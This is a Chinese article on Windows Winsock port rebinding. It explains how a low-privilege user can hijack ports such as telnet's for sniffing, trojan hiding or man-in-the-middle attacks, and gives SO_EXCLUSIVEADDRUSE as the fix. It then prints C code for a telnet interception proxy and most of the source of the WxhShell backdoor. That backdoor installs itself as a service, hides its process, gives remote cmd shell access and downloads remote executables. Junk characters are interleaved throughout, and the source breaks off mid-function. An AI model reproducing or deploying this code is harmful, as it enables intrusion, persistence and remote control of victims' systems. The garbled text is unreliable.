在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
2WbZ>^:Nsk s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
`Tm8TZd66 ?j^?@%f0
saddr.sin_family = AF_INET;
T$>=+U hg86#jq% saddr.sin_addr.s_addr = htonl(INADDR_ANY);
D@YM}HXuj 34O+#0<y~ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
'%JMnU ZT3jxwe 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
%_i0go,^ ;4O;74`Zh 这意味着什么?意味着可以进行如下的攻击:
iz,q8}/( <R]Wy}2- 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
#L+s%OJ` ^*owD;]4_ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
LeRh(a`=$ ggYIq*4 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
e[py J. A%sxMA!K, 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
ve_4@J) H 29 _ / 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
]cO$ E=W A~~|X 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
(WU~e!} , K"2tb 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
N?u2,h- *rMN,B@ #include
b^=8%~?%4 #include
56~da ){gd #include
g275{2G9 #include
"N[gMp6U DWORD WINAPI ClientThread(LPVOID lpParam);
TJGKQyG$L int main()
d' eM(4R@ {
^
8Nr %NJ WORD wVersionRequested;
d ;Gm {g# DWORD ret;
a0v1LT6 WSADATA wsaData;
?2bE=| BOOL val;
w]}cB+C+l# SOCKADDR_IN saddr;
3T#3<gqM[ SOCKADDR_IN scaddr;
;lPhSkD int err;
q~A|R SOCKET s;
c=c.p
i"s SOCKET sc;
FK,r<+h int caddsize;
K|' ]Hje\ HANDLE mt;
S
g_?.XZc[ DWORD tid;
Z~R/p;@ wVersionRequested = MAKEWORD( 2, 2 );
9%hB err = WSAStartup( wVersionRequested, &wsaData );
|Z)/ if ( err != 0 ) {
u*YuU%H= printf("error!WSAStartup failed!\n");
LAjw!QB return -1;
<8}9s9Nk }
<PA$hTYM saddr.sin_family = AF_INET;
<zWQ[^ hFF&(t2{^ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
W2V@\ cyn]>1ZM saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
#B{F{,vlu, saddr.sin_port = htons(23);
<L[)P{jn?p if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
~1z8G>R {
8XXTN@&, printf("error!socket failed!\n");
t5[JN:an return -1;
= ~R3*GN }
l@2`f#y1~< val = TRUE;
':fbf7EL< //SO_REUSEADDR选项就是可以实现端口重绑定的
+.Ukzu~s if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
l%V}'6T {
m=b+V#4i( printf("error!setsockopt failed!\n");
Jrrk$0H^~ return -1;
W`rE\P }
2QD
B'xs3 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
8TM=AV //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
M%LwC/h:, //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
[<yUq zm
B#lj8I^| if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
&l)v' {
`o- <, ret=GetLastError();
d:ajD printf("error!bind failed!\n");
n_gB#L$ return -1;
B}bNl 7
~ }
Q9
", listen(s,2);
YtKX\q^. while(1)
aYX '&k
` {
Icb;Yzt caddsize = sizeof(scaddr);
0pG(+fN_9 //接受连接请求
lY,1 w sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
) FsSXnZL if(sc!=INVALID_SOCKET)
e=$xn3)McY {
7q=xW6 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
yr DYw T if(mt==NULL)
p5w g+K {
UeTp, printf("Thread Creat Failed!\n");
^W*)3;5 break;
%Q01EjRes }
$VNn`0^gF }
vUExS Z^ CloseHandle(mt);
`{;&Qcg6m }
:O=Vr]Y8K closesocket(s);
tV%\Jk), WSACleanup();
U}TQXYAg return 0;
2)]*re) }
LLN^^>5|l DWORD WINAPI ClientThread(LPVOID lpParam)
&?pAt30K: {
z<XS"4l?W SOCKET ss = (SOCKET)lpParam;
%gB0D8,vo SOCKET sc;
jl7-"V>j?; unsigned char buf[4096];
8`<GplO SOCKADDR_IN saddr;
=i<(hgD long num;
q|\Cp DWORD val;
W{2y*yqY DWORD ret;
w%na n= //如果是隐藏端口应用的话,可以在此处加一些判断
)]Rr:i9n //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
cV,URUD saddr.sin_family = AF_INET;
KLB?GN?Pb saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
]C^*C| saddr.sin_port = htons(23);
QJ'C?hn if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
4\iQ%fb {
[Y+bW#' printf("error!socket failed!\n");
4(]('[M return -1;
R'U(]&e.j }
)Qp?LECrt val = 100;
b9jm=U if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
21Opx~T3 {
Er`PYE
J ret = GetLastError();
/qr8 return -1;
s6IuM )x }
ggWfk if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
B(U`Zd {
>Li?@+Zl ret = GetLastError();
?U[AE -* return -1;
pj`-T"Q }
X8TZePh if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
eA_4,"{ {
n9yxZu printf("error!socket connect failed!\n");
^}#!?"Y closesocket(sc);
J.(_c'
r closesocket(ss);
^TGHWCK!t return -1;
~heF0C_ }
!h~\YE) while(1)
s.R(3}/ {
kzT' //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
gsAO<Fy //如果是嗅探内容的话,可以再此处进行内容分析和记录
>F
v8 - //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
J0k~% num = recv(ss,buf,4096,0);
&3efJ?8 if(num>0)
k-/$8C send(sc,buf,num,0);
r` @Dgo} else if(num==0)
W*2SlS7 break;
|9h[Q[m num = recv(sc,buf,4096,0);
JB7]51WH@ if(num>0)
Et(prmH send(ss,buf,num,0);
YL+W4ld else if(num==0)
jn'8F$GU break;
YH9BJ }
j(rFORT closesocket(ss);
9UZX+@[F closesocket(sc);
6{6tg>|L) return 0 ;
N
Jf''e3 }
Wil+"[Ge >4c 1VEi ^AN9m]P ==========================================================
\[BnAgsF B.o&%5dG 下边附上一个代码,,WXhSHELL
MD,-<X)Qy R OS0Q9X ==========================================================
W*0KAC`m 7?4>' #include "stdafx.h"
&1&*(oi]X \n5,!,A #include <stdio.h>
31}6dg8?n #include <string.h>
3f3?%9 #include <windows.h>
ZO,]h9?4 #include <winsock2.h>
_>*"6 #include <winsvc.h>
;O CYx[| #include <urlmon.h>
'oTF$3n GZ1>]HB>r^ #pragma comment (lib, "Ws2_32.lib")
c09 uCito #pragma comment (lib, "urlmon.lib")
1~+w7Ar=( <K43f#% #define MAX_USER 100 // 最大客户端连接数
tP\Utl-0 #define BUF_SOCK 200 // sock buffer
tNjrd}8s #define KEY_BUFF 255 // 输入 buffer
~Oq(JM
$M m4EkL #define REBOOT 0 // 重启
(efH>oY[ #define SHUTDOWN 1 // 关机
UwLa9Dn^ gG}<l ': #define DEF_PORT 5000 // 监听端口
/q=<OEC iZ{D_uxq #define REG_LEN 16 // 注册表键长度
A
9u9d\ #define SVC_LEN 80 // NT服务名长度
-kJ`gdS {AZW."? // 从dll定义API
PKP(:3| typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
@~"0|,6VC typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
{h2D}F typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
"G<^@v9 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
WPPmh~: O @l `D` // wxhshell配置信息
JLjx4B\ struct WSCFG {
z=!xN5 int ws_port; // 监听端口
nF)|oA char ws_passstr[REG_LEN]; // 口令
:wIbKs.r int ws_autoins; // 安装标记, 1=yes 0=no
_ZJP]5 char ws_regname[REG_LEN]; // 注册表键名
o/Z?/alt4 char ws_svcname[REG_LEN]; // 服务名
5[0n'uH char ws_svcdisp[SVC_LEN]; // 服务显示名
wqw$6"~ char ws_svcdesc[SVC_LEN]; // 服务描述信息
c(o8uWn char ws_passmsg[SVC_LEN]; // 密码输入提示信息
rwU[dqBRhc int ws_downexe; // 下载执行标记, 1=yes 0=no
.7oz char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
n84*[d}t char ws_filenam[SVC_LEN]; // 下载后保存的文件名
V97Eb>@ ,9=a(j" };
mp}ZHuf G !.9NJ2'8 // default Wxhshell configuration
[~x
Ql struct WSCFG wscfg={DEF_PORT,
u{HB5QqK "xuhuanlingzhe",
4/$]wK` 1,
'l2`05 "Wxhshell",
`a]
/e "Wxhshell",
m+CvU?)gJ "WxhShell Service",
#*5A]"k "Wrsky Windows CmdShell Service",
~/QzL.S;p "Please Input Your Password: ",
w!h!%r 1,
&ceZu=* "
http://www.wrsky.com/wxhshell.exe",
F e8xOo6 "Wxhshell.exe"
EyozhIV };
-v`;^X o[_{\ // 消息定义模块
y;uk|#qnPS char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
\!`*F:7]- char *msg_ws_prompt="\n\r? for help\n\r#>";
?k#-)inf) char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Z>'.+OW char *msg_ws_ext="\n\rExit.";
zcDVvP char *msg_ws_end="\n\rQuit.";
dKhDO`.s char *msg_ws_boot="\n\rReboot...";
7|*|xLrVY char *msg_ws_poff="\n\rShutdown...";
?NJ\l5' char *msg_ws_down="\n\rSave to ";
AfyEFnY Sa6}xe."M, char *msg_ws_err="\n\rErr!";
ji:JLvf]% char *msg_ws_ok="\n\rOK!";
gFJd8#6t I@e{>} char ExeFile[MAX_PATH];
o^biO!4, int nUser = 0;
qa2QS._m HANDLE handles[MAX_USER];
+!CG'qyN> int OsIsNt;
u<:RSg ?=-18@:.ss SERVICE_STATUS serviceStatus;
^dld\t:tV7 SERVICE_STATUS_HANDLE hServiceStatusHandle;
BNnGtVAbZ `#E1FB2M // 函数声明
==~X8k|{E int Install(void);
{a\m0Bw/ int Uninstall(void);
}]'Z~5T int DownloadFile(char *sURL, SOCKET wsh);
5F18/:\n int Boot(int flag);
9Y3_.qa(. void HideProc(void);
MZv In ZS int GetOsVer(void);
`a*[@a# int Wxhshell(SOCKET wsl);
K]1A,Q void TalkWithClient(void *cs);
)\8l6Gw int CmdShell(SOCKET sock);
] K3^0S/ int StartFromService(void);
:dc>\kUIv int StartWxhshell(LPSTR lpCmdLine);
c=0S]_ IXDj;~GF VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
lQ
{k VOID WINAPI NTServiceHandler( DWORD fdwControl );
OTY9Q sB"Oi|#lk // 数据结构和表定义
:?S1#d_ SERVICE_TABLE_ENTRY DispatchTable[] =
olB?"M=H {
|@`F!bnLr {wscfg.ws_svcname, NTServiceMain},
HZX(kYV {NULL, NULL}
_
fJ5z };
J^m#984 Dp3&@M"^yY // 自我安装
dDK4I3a int Install(void)
B4Ko,=pg {
UzTFT:\ char svExeFile[MAX_PATH];
R*|y:T,H HKEY key;
?Z9C}t] strcpy(svExeFile,ExeFile);
!<BJg3 >\6Tm // 如果是win9x系统,修改注册表设为自启动
S:aAR*<6 if(!OsIsNt) {
SaceIV%( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
@-qS[bV RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
E!nEB(FD RegCloseKey(key);
WT;4J<O/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
-FftEeo7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
$a.fQ<,\X RegCloseKey(key);
\]uD"Jqv# return 0;
xMsSZ{j%5 }
oM\b>* }
;n]GHqzY_ }
.
7*k}@k else {
Zq1ZrwPF 69/aP= // 如果是NT以上系统,安装为系统服务
14>WpNN SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Ck.LsL- if (schSCManager!=0)
IC"lsNq52 {
u-qwG/$E SC_HANDLE schService = CreateService
F/O5Z?C? (
w1U2cbCr/ schSCManager,
t7#lRp& wscfg.ws_svcname,
K
?uHAm wscfg.ws_svcdisp,
KTLq~Ru SERVICE_ALL_ACCESS,
v3\
| SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
VgGMlDl SERVICE_AUTO_START,
LL% Aw)Q` SERVICE_ERROR_NORMAL,
["O/%6b9+ svExeFile,
{o>51fXc) NULL,
3QSA| NULL,
={g.Fn(_ NULL,
m{#?fR=9 NULL,
z3-A2#c NULL
#dO8) t );
]? 2xS?vd if (schService!=0)
mv1g2f+ {
+9 gI^Gt CloseServiceHandle(schService);
+|0f7RB+R CloseServiceHandle(schSCManager);
??5y0I6+ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
X%X`o%AqC strcat(svExeFile,wscfg.ws_svcname);
Sjb[v if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
1PGY/c
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
3g79pw2w= RegCloseKey(key);
4e`GMtp return 0;
7l%]O}!d) }
etw.l~y }
O~P1d&:L CloseServiceHandle(schSCManager);
zjE|UK{ }
U~CG(9 }
<ztcCRov 6Dl]d%. return 1;
WMi$ATq }
simD<&p @"h@4q/W // 自我卸载
7=hISQMsVP int Uninstall(void)
3*(w=;y {
n=F|bW HKEY key;
}+@GgipyO. DYf3>xh>xb if(!OsIsNt) {
M7`iAa.} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
y1qJ RegDeleteValue(key,wscfg.ws_regname);
pLiGky RegCloseKey(key);
{,X}Btnwp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
wH0m^?a!3 RegDeleteValue(key,wscfg.ws_regname);
#@UzOQ> RegCloseKey(key);
XG!s+ShFV return 0;
fW3awR{ }
>OxSrc@A }
b[/uSwvi }
EP'I else {
w<|Qezi3
w F1A7l"X] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
huat,zLS if (schSCManager!=0)
lKSd]:3Xm {
KD =W(\ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
59MpHkr if (schService!=0)
w,x'FZD {
umuE5MKY< if(DeleteService(schService)!=0) {
8!XK[zL CloseServiceHandle(schService);
\- f^C}m CloseServiceHandle(schSCManager);
Hx?OCGj=S* return 0;
`#3FvP@& }
PRi1 `%d CloseServiceHandle(schService);
b haYbiX? }
7#[8td CloseServiceHandle(schSCManager);
D.ERt)l> }
igO,Ge8} }
i XPe SL$ bV2T return 1;
8`B]UcL) }
%1Nank!Zj !v\_<8 // 从指定url下载文件
9g~"Y[ ] int DownloadFile(char *sURL, SOCKET wsh)
_%gu<Ys {
/v-:ca)7mI HRESULT hr;
We)l_>G char seps[]= "/";
iOrpr,@ char *token;
6d{&1-@> char *file;
Q:^.Qs"IK char myURL[MAX_PATH];
8<:.DFq char myFILE[MAX_PATH];
v[XTH 2 *-`-P strcpy(myURL,sURL);
Ba#wW
E token=strtok(myURL,seps);
.^!<cFkCE while(token!=NULL)
<,+nS%a {
(RU\a]Ry file=token;
U#6<80Ke token=strtok(NULL,seps);
[Ol~}@gV }
C3:CuoE X <5E: ,< GetCurrentDirectory(MAX_PATH,myFILE);
Nv5)A=6#AA strcat(myFILE, "\\");
b]6@
O8 strcat(myFILE, file);
yllEg9L0z send(wsh,myFILE,strlen(myFILE),0);
jz$ ]"\G# send(wsh,"...",3,0);
#5X535'ze hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
z(eAhK}6? if(hr==S_OK)
`M[o.t return 0;
k9m9IE"9=$ else
wAKm]?zB> return 1;
.D{He9 5>\~jf }
p;Nq(=]
\ Ox%p"xuP, // 系统电源模块
RdqB^>X int Boot(int flag)
*!MMl]gU? {
2y5d HANDLE hToken;
v2jpao<K TOKEN_PRIVILEGES tkp;
$*+IsP! gP.PyYUV if(OsIsNt) {
:5[1Iepdn OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
H b?0?^# LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
7 g|EqJ7 tkp.PrivilegeCount = 1;
3|(<]@
$ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
xi[\2g+ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
#Q1}h if(flag==REBOOT) {
s("\]K if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
fj97_Q= return 0;
<DZ$"t }
K05U>151 else {
C7FxV2 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
GK=b return 0;
w:+&i|H >
}
hgK
4;R }
=2@V} else {
E N rcIZ if(flag==REBOOT) {
rXR!jZ.hi if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
"0 $UnR return 0;
#z+?t }
8.:WMH` else {
&dG^ M2g-F if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
d7S?"JpV return 0;
F:og :[ }
?I$- im }
8Si3
aq3 r{KQ3j9O return 1;
jyB
Ys& v }
NFyKTA6 Xe&p.v // win9x进程隐藏模块
L1Jn@ void HideProc(void)
~jzjJ&O&
{
5z&>NI K#Zv>x!to HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
qw
03]a if ( hKernel != NULL )
e%EO/ 2" {
XZ@|(_Z pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
h5(OjlMC ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
fejC,H4I FreeLibrary(hKernel);
pp{2[> }
MdN0 Y@Ll j^%N:BQ& return;
bz}-[W+ }
c]n"1YNm dI|D c // 获取操作系统版本
lQd7p+21 int GetOsVer(void)
\!xCmQ {
&%%ix#iF OSVERSIONINFO winfo;
jtUqrJFlQ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
80ox$U GetVersionEx(&winfo);
u HW'F(; if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
}m'n1tm;
return 1;
3I(;c ,S else
C T\@>!'f return 0;
k?$I4&|5Nt }
px*1 3" 5 5m\,UG7 // 客户端句柄模块
2WTOu x* int Wxhshell(SOCKET wsl)
}8POm# {
6oKdw|(Q# SOCKET wsh;
!JyY&D~` struct sockaddr_in client;
8NiR3*1 DWORD myID;
Inn{mmz
1 YM};85 K while(nUser<MAX_USER)
g;v;xlY`N {
15,JD int nSize=sizeof(client);
7@
) wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
-(t7>s if(wsh==INVALID_SOCKET) return 1;
ZZ7qSyBs? ]"lB!O~ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
#{vC =m73 if(handles[nUser]==0)
fT|A^ closesocket(wsh);
Y}1c>5{bE else
TI8r/P?
]V nUser++;
KWZhCS?[( }
FO5a<6 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
=o~GLbsER ^J5{quV return 0;
S0)JIrrHC }
68Gywk3]=u -}9^$}PR // 关闭 socket
)](ls@* void CloseIt(SOCKET wsh)
!:^q_q4 {
Z*ip=FYR closesocket(wsh);
pA~}_ nUser--;
eHuJFM ExitThread(0);
a:fP }
W&IG,7tr 4"|Xndh1. // 客户端请求句柄
y%SxQA+\ void TalkWithClient(void *cs)
s*ZE`/SM3 {
>ESVHPj] ZpV]X(Px(o SOCKET wsh=(SOCKET)cs;
S^eem_C char pwd[SVC_LEN];
cm(*F0< char cmd[KEY_BUFF];
Do/R.Mgy* char chr[1];
x#J9GP. int i,j;
#$I@V4O;# ^$K&Met while (nUser < MAX_USER) {
u4C9ZYN RpQeQM= if(wscfg.ws_passstr) {
C9!t&<\} if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
"lI-/G //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
tWIs
|n //ZeroMemory(pwd,KEY_BUFF);
v Y0bK- i=0;
^#HaH while(i<SVC_LEN) {
H<(F$7Q!\ 2.D2
o // 设置超时
@>)VQf8s1 fd_set FdRead;
l 88= struct timeval TimeOut;
eV[{c %wN: FD_ZERO(&FdRead);
jE\G_> FD_SET(wsh,&FdRead);
fp)SZu_* TimeOut.tv_sec=8;
#\0m(v TimeOut.tv_usec=0;
Ti%MOYNCv int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
'D+xs}\ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
--K)7 'J,UKK\5 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
r#sg5aS7O| pwd
=chr[0]; qGk.7wf%
if(chr[0]==0xd || chr[0]==0xa) { )A8#cY!<
pwd=0; ~}.C*;J
break; qyz%9 9
} FA+HR
i++; (a[BvJf
} ZISIW!
'Z{`P0/^o`
// 如果是非法用户,关闭 socket *k{Llq
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w2s`9
} C- YYG
!> sA.L&=
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y~UuT8-c
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7{#p'.nc5
JHxcHh
while(1) { )s!A\a`vEd
T|~5dZL
ZeroMemory(cmd,KEY_BUFF); mdc?~?? 8
-wn-PB@r
// 自动支持客户端 telnet标准 )I%M]K]F
j=0; 0~nX7
while(j<KEY_BUFF) { `oxBIn*BD
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?NoNg^ Of
cmd[j]=chr[0]; 7!M; ?Y
if(chr[0]==0xa || chr[0]==0xd) { RuHDAJ"&a
cmd[j]=0; JI@iT6.%IX
break; *d8
%FQ
} ]xS%Er
j++; D[>:az`
} Te+#
z>!./z]p
// 下载文件 )u(,.O[cw
if(strstr(cmd,"http://")) { eEqcAUn
send(wsh,msg_ws_down,strlen(msg_ws_down),0); [vr"FLM|9
if(DownloadFile(cmd,wsh)) o "r
send(wsh,msg_ws_err,strlen(msg_ws_err),0); dw6ysOR@
else }0&Fu?sP
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4zs0+d+
} R&!;(k0
else { M&iXdw&
*L<EGFP
switch(cmd[0]) { f#c}}>V8
6GuTd
// 帮助 `@y~ JNf!
case '?': { TFHYB9vV
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @kSfF[4H
break; .nY}_&
} }X9&!A8z
// 安装 P*k n}:
case 'i': { 3uw3[
SR1
if(Install()) N!7?D'y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); l(1.Ll
else %|4Kak]:Q
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OTYkJEC8\N
break; H0b{`!'Fs:
} D{t_65c-
// 卸载 13@emb
case 'r': { :"y2u
if(Uninstall()) X[/7vSqZ@w
send(wsh,msg_ws_err,strlen(msg_ws_err),0); hGKQK
^bn
else Wt%Wpb8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +_X*one
break; ?jmL4V2-f
} hvI#D>Z!Yp
// 显示 wxhshell 所在路径 p63fpnH
case 'p': { q>+!Ete1p
char svExeFile[MAX_PATH]; NP3
e^
strcpy(svExeFile,"\n\r"); HMD\)vMK6
strcat(svExeFile,ExeFile); E!X>C^
send(wsh,svExeFile,strlen(svExeFile),0); ,./n@.na
break; 2(uh7#Q
} e>_a
(
// 重启 sC"w{_D@*4
case 'b': { 6# bTlmcg
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); otaRA
if(Boot(REBOOT)) zZd.U\"2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _k}Qe;
else { #bcZ:D@FC
closesocket(wsh); `\##M=
ExitThread(0); `)$G}7cRUH
} 8i^
./P
break; n+
H2cl }
} n3?
msY(*
// 关机 uju'Bs7
case 'd': { SDbkPx
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); me@`;Q3
if(Boot(SHUTDOWN)) SP<(24zdd
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ca5LLG
else { ]?V:+>t=
closesocket(wsh); S5gBVGh
ExitThread(0); ;mI^J=V3
} O=LW[h!
break; <^$ppwk$
} g3Q;]8Y&
// 获取shell P];0,;nF
case 's': { W NeBthq6
CmdShell(wsh); Y9-F\t=~
closesocket(wsh); 3zmbx~| =\
ExitThread(0); u)zv`m
break; /:!l&1l:p
} qHheF%[\5
// 退出 1.N2!:&G|
case 'x': { W8x&:5Fc)3
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h=6D=6c
CloseIt(wsh); Af@\g-<W_
break; TC2%n\GH*
} LRaO}-<b
// 离开 b)#rUI|O
case 'q': { MtF^}/0w!`
send(wsh,msg_ws_end,strlen(msg_ws_end),0); pyX:$j2R+%
closesocket(wsh); LN.*gGl
WSACleanup(); 30SQ&j[N]
exit(1); L%3Bp/`S
break; KSS]% 66Y
} [+l6x1Am
} raSga'uT;
} 2yFT` 5+H4
9Nna-}e?W
// 提示信息 ShlTMTgS
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2wPc
yD
} Al@. KTK
} 1M_Vhs^
HCkfw+gaV
return; LXJ;8uW2y
}
@PLJ)RL
N(yd<Mw
// shell模块句柄 /s+IstW
int CmdShell(SOCKET sock) ~H
{ T%FW|jKw
STARTUPINFO si; 9c*B%A8J
ZeroMemory(&si,sizeof(si)); ?*xH
HI/
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ? EHheZ{
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /d!
PROCESS_INFORMATION ProcessInfo; OAiv3"p
char cmdline[]="cmd"; C4gES"T
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k?L2LIB<
return 0; @TXLg2
} z$~F9Es9
I
S'Uuuz7g
// 自身启动模式 Olh{<~Fv
int StartFromService(void) '|yCDBu
{ @- xvdntx
typedef struct P zM yUv
{ <HN{.p{
DWORD ExitStatus; olL? 6)gC
DWORD PebBaseAddress; 1ZRkVHiz0
DWORD AffinityMask; q
&{<HcP
DWORD BasePriority; );q~TZ[Do
ULONG UniqueProcessId; }a9G,@:k
